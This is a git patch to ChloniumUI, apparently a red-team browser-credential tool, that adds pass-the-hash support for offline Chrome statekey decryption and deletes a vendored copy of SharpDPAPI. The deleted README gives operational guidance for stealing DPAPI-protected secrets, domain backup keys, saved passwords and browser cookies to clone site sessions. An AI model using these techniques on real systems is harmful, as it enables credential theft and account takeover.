From 9ec24869f36f7202fcbe3383049845bab3d34a93 Mon Sep 17 00:00:00 2001
From: rxwx <2202542+rxwx@users.noreply.github.com>
Date: Thu, 5 Jan 2023 15:40:13 +0000
Subject: [PATCH] - bump SharpDPAPI version and remove unused code - support
offline statekey decryption from non-domain joined machines - allow user to
specify NTLM (domain-joined) or SHA1 (non-domain) hash instead of a password
(i.e. Pass-the-Hash) for offline statekey decryption
---
ChloniumUI/ChloniumUI.csproj | 35 +-
ChloniumUI/MainWindow.xaml | 18 +-
ChloniumUI/MainWindow.xaml.cs | 40 +-
ChloniumUI/SharpDPAPI/CHANGELOG.md | 250 ----
ChloniumUI/SharpDPAPI/README.md | 1333 -----------------
.../SharpChrome/Commands/Backupkey.cs | 48 -
.../SharpChrome/Commands/Cookies.cs | 177 ---
.../SharpChrome/Commands/ICommand.cs | 9 -
.../SharpDPAPI/SharpChrome/Commands/Logins.cs | 146 --
.../SharpChrome/Commands/Statekeys.cs | 89 --
.../SharpChrome/Domain/ArgumentParser.cs | 31 -
.../Domain/ArgumentParserResult.cs | 23 -
.../SharpChrome/Domain/CommandCollection.cs | 46 -
.../SharpDPAPI/SharpChrome/Domain/Info.cs | 59 -
.../SharpDPAPI/SharpChrome/lib/Bcrypt.cs | 12 +-
.../SharpDPAPI/SharpChrome/lib/Chrome.cs | 22 +-
.../SharpDPAPI/Commands/Backupkey.cs | 48 -
.../SharpDPAPI/SharpDPAPI/Commands/Blob.cs | 113 --
.../SharpDPAPI/Commands/Certificate.cs | 171 ---
.../SharpDPAPI/Commands/Credentials.cs | 90 --
.../SharpDPAPI/Commands/ICommand.cs | 9 -
.../SharpDPAPI/SharpDPAPI/Commands/Keepass.cs | 91 --
.../SharpDPAPI/Commands/Machinecredentials.cs | 34 -
.../SharpDPAPI/Commands/Machinemasterkeys.cs | 31 -
.../SharpDPAPI/Commands/Machinetriage.cs | 38 -
.../SharpDPAPI/Commands/Machinevaults.cs | 34 -
.../SharpDPAPI/Commands/Masterkeys.cs | 82 -
.../SharpDPAPI/SharpDPAPI/Commands/PS.cs | 70 -
.../SharpDPAPI/SharpDPAPI/Commands/RDG.cs | 96 --
.../SharpDPAPI/SharpDPAPI/Commands/Search.cs | 365 -----
.../SharpDPAPI/SharpDPAPI/Commands/Triage.cs | 82 -
.../SharpDPAPI/SharpDPAPI/Commands/Vaults.cs | 82 -
.../SharpDPAPI/Domain/ArgumentParser.cs | 31 -
.../SharpDPAPI/Domain/ArgumentParserResult.cs | 23 -
.../SharpDPAPI/Domain/CommandCollection.cs | 57 -
.../SharpDPAPI/SharpDPAPI/Domain/Info.cs | 85 --
.../SharpDPAPI/SharpDPAPI/Domain/Version.cs | 9 -
.../SharpDPAPI/SharpDPAPI/lib/Backup.cs | 28 +-
.../SharpDPAPI/SharpDPAPI/lib/Crypto.cs | 2 -
ChloniumUI/SharpDPAPI/SharpDPAPI/lib/Dpapi.cs | 289 +++-
.../SharpDPAPI/SharpDPAPI/lib/Triage.cs | 80 +-
ChloniumUI/TriageExtension.cs | 14 +-
42 files changed, 352 insertions(+), 4040 deletions(-)
delete mode 100644 ChloniumUI/SharpDPAPI/CHANGELOG.md
delete mode 100644 ChloniumUI/SharpDPAPI/README.md
delete mode 100644 ChloniumUI/SharpDPAPI/SharpChrome/Commands/Backupkey.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpChrome/Commands/Cookies.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpChrome/Commands/ICommand.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpChrome/Commands/Logins.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpChrome/Commands/Statekeys.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpChrome/Domain/ArgumentParser.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpChrome/Domain/ArgumentParserResult.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpChrome/Domain/CommandCollection.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpChrome/Domain/Info.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Backupkey.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Blob.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Certificate.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Credentials.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/ICommand.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Keepass.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinecredentials.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinemasterkeys.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinetriage.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinevaults.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Masterkeys.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/PS.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/RDG.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Search.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Triage.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Vaults.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/ArgumentParser.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/ArgumentParserResult.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/CommandCollection.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/Info.cs
delete mode 100644 ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/Version.cs
diff --git a/ChloniumUI/ChloniumUI.csproj b/ChloniumUI/ChloniumUI.csproj
index a61c8ad..21c317c 100644
--- a/ChloniumUI/ChloniumUI.csproj
+++ b/ChloniumUI/ChloniumUI.csproj
@@ -65,15 +65,6 @@
-
-
-
-
-
-
-
-
-
@@ -160,27 +151,6 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
@@ -232,9 +202,7 @@
SettingsSingleFileGenerator
Settings.Designer.cs
-
-
@@ -259,8 +227,9 @@
+
+
-
\ No newline at end of file
diff --git a/ChloniumUI/MainWindow.xaml b/ChloniumUI/MainWindow.xaml
index 246232f..edba0d4 100644
--- a/ChloniumUI/MainWindow.xaml
+++ b/ChloniumUI/MainWindow.xaml
@@ -23,18 +23,18 @@
-
-
+
+
-
-
+
+
-
-
+
+
@@ -44,13 +44,13 @@
-
+
-
+
-
+
diff --git a/ChloniumUI/MainWindow.xaml.cs b/ChloniumUI/MainWindow.xaml.cs
index 2631bbb..fe68124 100644
--- a/ChloniumUI/MainWindow.xaml.cs
+++ b/ChloniumUI/MainWindow.xaml.cs
@@ -14,6 +14,7 @@
using static ChloniumUI.Browsers;
using static ChloniumUI.ExportMethods;
using static ChloniumUI.ImportMethods;
+using System.Text.RegularExpressions;
namespace ChloniumUI
{
@@ -450,7 +451,7 @@ private bool ValidatePasswordOrPvk(string value, bool quiet = false)
if (File.Exists(value))
{
byte[] content = File.ReadAllBytes(value);
- if (BitConverter.ToUInt32(content, 0) != 2964713758)
+ if (BitConverter.ToUInt32(content, 0) != 0xb0b5f11e)
{
MessageBox.Show("Selected file does not appear to be a valid backup key");
return false;
@@ -470,7 +471,9 @@ private bool ValidatePasswordOrPvk(string value, bool quiet = false)
if (PasswordOrPVK.Text.Length <= 256 && PasswordOrPVK.Text.Length > 0)
{
if (!quiet)
- MessageBox.Show("Will assume data provided is a password");
+ MessageBox.Show(string.Format("Will assume data provided is {0}",
+ Regex.IsMatch(PasswordOrPVK.Text, @"^([a-f0-9]{32}|[a-f0-9]{40})$", RegexOptions.IgnoreCase)
+ ? "a hash" : "a password"));
this.password = PasswordOrPVK.Text;
return true;
}
@@ -480,7 +483,7 @@ private bool ValidatePasswordOrPvk(string value, bool quiet = false)
try
{
byte[] content = Convert.FromBase64String(PasswordOrPVK.Text);
- if (BitConverter.ToUInt32(content, 0) != 2964713758)
+ if (BitConverter.ToUInt32(content, 0) != 0xb0b5f11e)
{
MessageBox.Show("Base64 backup key provided, but is not valid");
return false;
@@ -566,28 +569,25 @@ private void PasswordOrPVK_Browse(object sender, RoutedEventArgs e)
private bool ValidateMasterKeyDirectory(string folderName)
{
- bool isValidDirectory = false;
- foreach (string file in Directory.GetFiles(folderName, "*", SearchOption.TopDirectoryOnly))
+ int keys = 0;
+ if ((File.GetAttributes(folderName) & FileAttributes.Directory) == FileAttributes.Directory)
{
- try
+ foreach (var file in Directory.GetFiles(folderName))
{
- byte[] content = File.ReadAllBytes(file);
- if (content.Length == 0x2E4)
- {
- isValidDirectory = true;
- }
- if (isValidDirectory)
+ try
{
- return true;
+ FileInfo f = new FileInfo(file);
+ if (Helpers.IsGuid(f.Name))
+ {
+ var masterKeyBytes = File.ReadAllBytes(file);
+ if (Helpers.IsGuid(Encoding.Unicode.GetString(masterKeyBytes, 12, 72)))
+ keys++;
+ }
}
- }
- catch (Exception ex)
- {
- MessageBox.Show(ex.Message);
+ catch { }
}
}
- MessageBox.Show("Selected directory does not contain any DPAPI masterkeys");
- return false;
+ return keys > 0;
}
private void DPAPIMasterKey_Browse(object sender, RoutedEventArgs e)
@@ -599,6 +599,8 @@ private void DPAPIMasterKey_Browse(object sender, RoutedEventArgs e)
{
if (ValidateMasterKeyDirectory(dlg.SelectedPath))
TextBox_Masterkey.Text = dlg.SelectedPath;
+ else
+ MessageBox.Show("Selected directory does not contain any DPAPI masterkeys");
}
}
diff --git a/ChloniumUI/SharpDPAPI/CHANGELOG.md b/ChloniumUI/SharpDPAPI/CHANGELOG.md
deleted file mode 100644
index 953e6c0..0000000
--- a/ChloniumUI/SharpDPAPI/CHANGELOG.md
+++ /dev/null
@@ -1,250 +0,0 @@
-# Changelog
-All notable changes to this project will be documented in this file.
-
-The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
-and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
-
-
-## [1.11.1] - 2021-03-05
-
-### Fixed
-* **SharpChrome** project
- * Chrome statekey usage bug when triaging multiple users
-
-### Changed
-* **SharpChrome** project
- * Default cookie/logins/statekeys triage behavior is now to triage the current user if elevated, unless pvk/password/masterkeys specified
- * `/target:X` can now be a `C:\Users\USER\` folder for any specified triage
- * Added Brave statekey triage to `statekeys`
- * Cleaned up Chromium triage code
-* Removed out of date SharpDPAPI.cna aggressor script
-
-
-## [1.11.0] - 2021-03-01
-
-### Added
-* **SharpDPAPI** project
- * Added `keepass` command - ProtectedUserKey.bin decryption
- * Added `/entropy` flag to `blob` command
-
-### Fixed
-* **SharpDPAPI** project
- * Decrypted null bytes in certificate description fields messing up output
-
-
-## [1.10.0] - 2021-02-25
-
-### Added
-* **SharpDPAPI** project
- * CNG private key decryption support \m/
- * Additional CAPI/CNG cert search locations
- * `/nowrap` flag to the `backupkey` command
-
-### Fixed
-* **SharpDPAPI** project
- * Bug where some extracted key components ending in 00 caused error cases
-
-### Changed
-* **SharpDPAPI** project
- * Only decrypted private keys with certs present displayed by default, the `/showall` flag for `certificates` will display all decrypted results
- * Combined `machinecerts` into `certificates /machine`
- * Corrected method for SHA1 MS hash computation fuckery with entropy (thanks @gentilkiwi)
- * Re-added certificate triage to `triage` and `machinetriage`
-
-
-## [1.9.2] - 2021-01-04
-
-### Added
-* **SharpDPAPI** project
- * /target option for machinecertificates
- * more certificate information on extraction (including Enhanced Key Usages)
-
-### Fixed
-* **SharpDPAPI** project
- * User certificate extraction corrected
- * Few formatting issues
-
-
-## [1.9.1] - 2020-11-05
-
-### Added
-* **SharpDPAPI** project
- * Ability to triage masterkey targets (or folder of targets) manually
-
-### Added
-* **SharpChrome** project
- * Added Chromium-based brave support
- * Added `/quiet` flag for csv output
-
-### Fixed
-* **SharpChrome** project
- * Filtering fixes for cookies
-
-
-## [1.8.0] - 2020-07-13
-
-### Added
-* **SharpDPAPI** project
- * Landed @leechristensen's `search` command to search for DPAPI blobs
-
-### Removed
-* **SharpDPAPI** project
- * Removed machine/user certificate triage from the `triage` and `machinetriage` commands
-
-### Changed
-* Code cleanup and refactoring
-
-
-## [1.7.0] - 2020-05-06
-
-### Added
-* **SharpDPAPI** project
- * Landed @leftp's `certificates` and `machinecerts` commands
- * Added `certificates` and `machinecerts` entries to the README.md
- * Added certificate triage to the `triage` and `machinetriage` commands
- * Using /password:X now causes the DPAPI masterkey cache to be output
-* **SharpChrome** project:
- * Using /password:X now causes the DPAPI masterkey cache to be output
-
-
-## [1.6.1] - 2020-03-29
-
-### Changed
-* **SharpChrome** project
- * '/password:X' integration
-* **SharpDPAPI** project
- * Combined TriageUserMasterKeysWithPass into TriageUserMasterKeys
- * '/password:X' now properly works in SharpDPAPI while elevated, as well as remotely
-
-
-## [1.6.0] - 2020-03-27
-
-### Added
-* **SharpChrome** project
- * Integrated new Chrome (v80+) AES statekey decryption from @djhohnstein's SharpChrome project.
-* **SharpDPAPI** project
- * landed @lefterispan's PR that incorporates plaintext password masterkey decryption.
- * expanded the PR to allow /password specification for all SharpDPAPI functions
-
-
-## [1.5.1] - 2019-12-18
-
-### Added
-* **SharpChrome** project
- * **/setneverexpire** flag for **/format:json** output for **cookies** that sets the expiration date to now + 100 years
-
-### Fixed
-* **SharpChrome** project
- * Cookie datetime value parsing to prevent error conditions on invalid input.
-
-### Changed
-* **SharpChrome** project
- * Some file path output.
-
-
-## [1.5.0] - 2019-07-25
-
-### Added
-* **ps** command to decrypt exported PSCredential xmls (thanks for the idea @gentilkiwi ;)
-* **blob** section for the README
-
-### Changed
-* **blob** command outputs hex if the data doesn't appear to be text
-
-
-## [1.4.0] - 2019-05-22
-
-### Added
-* **SharpChrome** project
- * Separate project that implements a SQLite parsing database for Chrome triage. Uses shared files with SharpDPAPI. Adapted from the SharpWeb/SharpChrome project by @djhohnstein.
- * **logins** function
- * Finds/decrypts Chrome 'Login Data' files. See README.md for complete syntax/flags.
- * **cookies** function
- * Finds/decrypts Chrome 'Cookies' files. See README.md for complete syntax/flags.
-* Added **/mkfile:FILE** argument to credentials/vaults/rdg/triage commands, takes a SharpDPAPI or Mimikatz formatted file of {GUID}:SHA1 masterkey mappings (for offline triage)
-
-### Changed
-* Cleaned up and simplified the credentials/vaults/rdg/triage command functions in SharpDPAPI
-* Cleaned up and reorganized SharpDPAPI's default help menu output
-
-
-## [1.3.1] - 2019-05-09
-
-### Changed
-* When using /server:X, .RDG files parsed from RDCMan.settings files are translated to \\\\UNC paths for parsing
-
-### Fixed
-* **triage** command when used against a remote /server:X now works properly
-
-
-## [1.3.0] - 2019-05-09
-
-### Added
-* **rdg** action
- * Find RDCMan.settings and linked .RDG files, or take a given /target .RDG/RDCMan.settings file/folder, and decrypt passwords given a /pvk, GUID key lookup table, or CryptUnprotectData (with /unprotect).
-* **blob** action
- * Describe a supplied DPAPI binary blob, optionally decryption the blob with masterkey GUID lookups or a PVK masterkey decryption
-
-### Changed
-* Added IsTextUnicode() for vault/credential/blob decryption display, showing hex if unicode is detected
-* Added /target:C:\FOLDER\ option for the **masterkeys** function, for offline masterkey decryption
-* Updated README
-
-
-## [1.2.0] - 2019-03-24 (Troopers edition ;)
-
-### Added
-* **masterkeys/vaults/creds/triage** actions
- * Remote server support for user vault/credential triage with /server:X
-* **machinemasterkeys** perform master key triage for the local machine
- * implicitly elevates to SYSTEM to extract the machine's local DPAPI key
- * uses this key to triage all machine Credential files
-* **machinecredentials** perform Credential file triage for the local machine
- * implicitly elevates to SYSTEM via the **machinemasterkeys** approach
- * uses the extracted masterkeys to decrypt any Credential files
-* **machinevaults** perform vault triage for the local machine
- * implicitly elevates to SYSTEM via the **machinemasterkeys** approach
- * uses the extracted masterkeys to decrypt any machine Vaults
-* **machinetriage** performs all machine triage actions (currently vault and credential)
- * implicitly elevates to SYSTEM via the **machinemasterkeys** approach
-
-### Changed
-* Expanded Vault credential format to handle vault credential clear attributes
-* Expanded machine vault/credential search locations
-* Broke out commands/files into the same general structure as Rubeus
-
-
-## [1.1.1] - 2019-03-15
-
-### Added
-* **SharpDPAPI.cna** Cobalt Strike aggressor script to automate the usage of SharpDPAPI (from @leechristensen)
-
-### Changed
-* Wrapped main in try/catch
-
-### Fixed
-* Fixed Policy.vpol parsing to handle the "KSSM" (?) format. Thank you @gentilkiwi :)
-
-
-## [1.1.0] - 2019-03-14
-
-### Added
-* **masterkeys** action
- * decrypts currently reachable master keys (current users or all if elevated) and attempts to decrypt them using a passed {GUI}:SHA1 masterkey lookup table, or a /pvk base64 blob representation of the domain DPAPI backup key
-* **credentials** action
- * decrypts currently reachable Credential files (current users or all if elevated) and attempts to decrypt them using a passed {GUI}:SHA1 masterkey lookup table, or a /pvk base64 blob representation of the domain DPAPI backup key
-* **vaults** action
- * decrypts currently reachable Vault files (current users or all if elevated) and attempts to decrypt them using a passed {GUI}:SHA1 masterkey lookup table, or a /pvk base64 blob representation of the domain DPAPI backup key
-* **triage** action
- * performs all triage actions (currently vault and credential)
-* CHANGELOG
-
-### Changed
-* modified the argument formats for the **backupkey** command
-* retructured files so code isn't in a single file
-* revamped README
-
-
-## [1.0.0] - 2018-08-22
-
-* Initial release
diff --git a/ChloniumUI/SharpDPAPI/README.md b/ChloniumUI/SharpDPAPI/README.md
deleted file mode 100644
index 37dbd27..0000000
--- a/ChloniumUI/SharpDPAPI/README.md
+++ /dev/null
@@ -1,1333 +0,0 @@
-# SharpDPAPI
-
-----
-
-[SharpDPAPI](#sharpdpapi-1) is a C# port of some DPAPI functionality from [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/) project.
-
-**I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process and operationalize it to fit our workflow.**
-
-The [SharpChrome](#sharpchrome) subproject is an adaptation of work from [@gentilkiwi](https://twitter.com/gentilkiwi) and [@djhohnstein](https://twitter.com/djhohnstein), specifically his [SharpChrome project](https://github.com/djhohnstein/SharpChrome/). However, this version of SharpChrome uses a different version of the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) that supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199). SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.
-
-Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome.
-
-SharpChrome also uses an minimized version of @AArnott's [BCrypt P/Invoke code](https://github.com/AArnott/pinvoke/tree/master/src/BCrypt) released under the MIT License.
-
-If you're unfamiliar with DPAPI, [check out this post](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's [wiki entry on the subject.](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials)
-
-[@harmj0y](https://twitter.com/harmj0y) is the primary author of this port.
-
-SharpDPAPI is licensed under the BSD 3-Clause license.
-
-
-## Table of Contents
-
-- [SharpDPAPI](#sharpdpapi)
- - [Table of Contents](#table-of-contents)
- - [Background](#background)
- - [SharpDPAPI Command Line Usage](#sharpdpapi-command-line-usage)
- - [SharpChrome Command Line Usage](#sharpchrome-command-line-usage)
- - [Operational Usage](#operational-usage)
- - [SharpDPAPI](#sharpdpapi-1)
- - [SharpChrome](#sharpchrome)
- - [SharpDPAPI Commands](#sharpdpapi-commands)
- - [User Triage](#user-triage)
- - [masterkeys](#masterkeys)
- - [credentials](#credentials)
- - [vaults](#vaults)
- - [rdg](#rdg)
- - [keepass](#keepass)
- - [certificates](#certificates)
- - [triage](#triage)
- - [Machine Triage](#machine-triage)
- - [machinemasterkeys](#machinemasterkeys)
- - [machinecredentials](#machinecredentials)
- - [machinevaults](#machinevaults)
- - [certificates /machine](#certificates-machine)
- - [machinetriage](#machinetriage)
- - [Misc](#misc)
- - [ps](#ps)
- - [blob](#blob)
- - [backupkey](#backupkey)
- - [search](#search)
- - [SharpChrome Commands](#sharpchrome-commands)
- - [logins](#logins)
- - [cookies](#cookies)
- - [statekeys](#statekeys)
- - [backupkey](#backupkey-1)
- - [Compile Instructions](#compile-instructions)
- - [Targeting other .NET versions](#targeting-other-net-versions)
- - [Sidenote: Running SharpDPAPI Through PowerShell](#sidenote-running-sharpdpapi-through-powershell)
- - [Sidenote Sidenote: Running SharpDPAPI Over PSRemoting](#sidenote-sidenote-running-sharpdpapi-over-psremoting)
-
-
-## Background
-
-#### SharpDPAPI Command Line Usage
-
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.11.0
-
-
-
- Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
-
- SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
-
-
- The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:
-
- search /type:registry [/path:HKLM\path\to\key] [/showErrors]
- search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors]
- search /type:file /path:C:\path\to\file [/maxBytes:]
- search /type:base64 [/base:]
-
-
- Machine/SYSTEM Triage:
-
- machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
- machinecredentials - use 'machinemasterkeys' and then triage machine Credential files
- machinevaults - use 'machinemasterkeys' and then triage machine Vaults
- machinetriage - run the 'machinecredentials' and 'machinevaults' commands
-
-
- User Triage:
-
- Arguments for the 'masterkeys' command:
-
- /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
- /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
- /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
- /password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely)
- /server:SERVER - triage a remote server, assuming admin access
-
-
- Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands:
-
- Decryption:
- /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
- /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
- GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
- /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
- /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
- /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
-
- Targeting:
- /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
- /server:SERVER - triage a remote server, assuming admin access
- Note: must use with /pvk:KEY or /password:X
- Note: not applicable to 'blob' or 'ps' commands
-
-
- Certificate Triage:
-
- Arguments for the 'certificates' command:
- /showall - show all decrypted private key files, not just ones that are linked to installed certs (the default)
- /machine - use the local machine store for certificate triage
- /mkfile | /target - for /machine triage
- /pvk | /mkfile | /password | /server | /target - for user triage
-
-
- Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets.
- These functions wrap all the other applicable functions that can be automatically run.
-
-
-
-#### SharpChrome Command Line Usage
-
- __ _
- (_ |_ _. ._ ._ / |_ ._ _ ._ _ _
- __) | | (_| | |_) \_ | | | (_) | | | (/_
- |
- v1.9.0
-
-
- Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
-
- SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
-
-
- Global arguments for the 'cookies', 'logins', and 'statekeys' commands:
-
- Decryption:
- /unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
- /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
- GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
- /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
- /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
- /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
- /statekey:X - a decrypted AES state key (from the 'statekeys' command)
-
- Targeting:
- /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location
- /target:C:\Users\X\ - triage a specific user folder for any specified command
- /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
- /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'
-
- Output:
- /format:X - either 'csv' (default) or 'table' display
- /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
- /consoleoutfile:X - output all console output to a file on disk
-
-
- 'cookies' command specific arguments:
-
- /cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex
- /url:"REGEX" - only return cookies where the cookie URL matches the supplied regex
- /format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex!
- /setneverexpire - set expirations for cookies output to now + 100 years (for json output)
-
-
-### Operational Usage
-
-#### SharpDPAPI
-
-One of the goals with SharpDPAPI is to operationalize Benjamin's DPAPI work in a way that fits with our workflow.
-
-How exactly you use the toolset will depend on what phase of an engagement you're in. In general this breaks into "have I compromised the domain or not".
-
-If domain admin (or equivalent) privileges have been obtained, the domain DPAPI backup key can be retrieved with the [backupkey](#backupkey) command (or with Mimikatz). This domain private key never changes, and can decrypt any DPAPI masterkeys for domain users. This means, given a domain DPAPI backup key, an attacker can decrypt masterkeys for any domain user that can then be used to decrypt any Vault/Credentials/Chrome Logins/other DPAPI blobs/etc. The key retrieved from the [backupkey](#backupkey) command can be used with the [masterkeys](#masterkeys), [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), or [triage](#triage) commands.
-
-If DA privileges have not been achieved, using Mimikatz' `sekurlsa::dpapi` command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running `dpapi::cache` after key extraction will give you a nice table). If you change these keys to a `{GUID1}:SHA1 {GUID2}:SHA1...` type format, they can be supplied to the [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), or [triage](#triage) commands. This lets you triage all Credential files/Vaults on a system for any user who's currently logged in, without having to do file-by-file decrypts.
-
-For decrypting RDG/RDCMan.settings files with the [rdg](#rdg) command, the `/unprotect` flag will use CryptUnprotectData() to decrypt any saved RDP passwords, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).
-
-For machine-specific DPAPI triage, the `machinemasterkeys|machinecredentials|machinevaults|machinetriage` commands will do the machine equivalent of user DPAPI triage. If in an elevated context (that is, you need local administrative rights), SharpDPAPI will elevate to SYSTEM privileges to retrieve the "DPAPI_SYSTEM" LSA secret, which is then used to decrypt any discovered machine DPAPI masterkeys. These keys are then used as lookup tables for machine credentials/vaults/etc.
-
-For more offensive DPAPI information, [check here](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/).
-
-#### SharpChrome
-
-SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of **cookies** and **logins** decryption/triage. It is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.
-
-Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) used (with a few modifications) supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199), meaning that Chrome does not have to be closed/target files do not have to be copied to another location.
-
-If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when `/browser:edge` or `/browser:brave` is specified, for newer Chromium-based Edge browser triage.
-
-By default, cookies and logins are displayed as a csv - this can be changed with `/format:table` for table output, and `/format:json` for cookies specifically. The json option outputs cookies in a json format that can be imported into the [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) Chrome extension for easy reuse.
-
-The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to only return cookie names or urls matching the supplied regex. This is useful with `/format:json` to easily clone access to specific sites.
-
-Specific cookies/logins/statekey files can be specified with `/target:X`, and a user folder can be specified with `/target:C:\Users\USER\` for any triage command.
-
-
-## SharpDPAPI Commands
-
-### User Triage
-
-#### masterkeys
-
-The **masterkeys** command will search for any readable user masterkey files and decrypt them using a supplied domain DPAPI backup key. It will return a set of masterkey {GUID}:SHA1 mappings.
-
-The domain backup key can be in base64 form (`/pvk:BASE64...`) or file form (`/pvk:key.pvk`).
-
- C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
